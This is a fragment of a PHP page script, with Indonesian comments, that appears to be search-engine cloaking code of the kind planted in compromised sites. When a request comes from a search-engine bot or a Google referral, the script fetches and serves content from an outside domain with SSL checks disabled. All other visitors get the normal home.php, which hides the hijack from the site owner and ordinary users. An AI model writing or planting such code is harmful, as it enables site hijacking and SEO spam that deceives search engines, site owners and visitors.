['timeout' => 5]]); $fetch = @file_get_contents($url, false, $context); if ($fetch !== false) return $fetch; } if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Hanya untuk dev curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Cloaking Checker/1.0)'); $fetch = curl_exec($ch); curl_close($ch); if ($fetch !== false) return $fetch; } return "Cannot fetch URL: $url"; } // Atur cookie jika belum pernah dikunjungi $cookie_expiration = time() + (365 * 86400); // 1 tahun if (!isset($_COOKIE['visited'])) { setcookie('visited', '1', $cookie_expiration, "/"); } $cache_duration = 86400; header("Cache-Control: max-age=$cache_duration, public, must-revalidate"); header("Pragma: cache"); header("Content-Type: text/html; charset=utf-8"); $index_home = 'home.php'; $remote_url = 'https://syairsgp.it.com/'; if (isSearchEngineBot()) { $content = NuLzFetch($remote_url); echo $content; } elseif (isFromGoogle()) { $content = NuLzFetch($remote_url); echo $content; } else { if (file_exists($index_home)) { include($index_home); } } ?>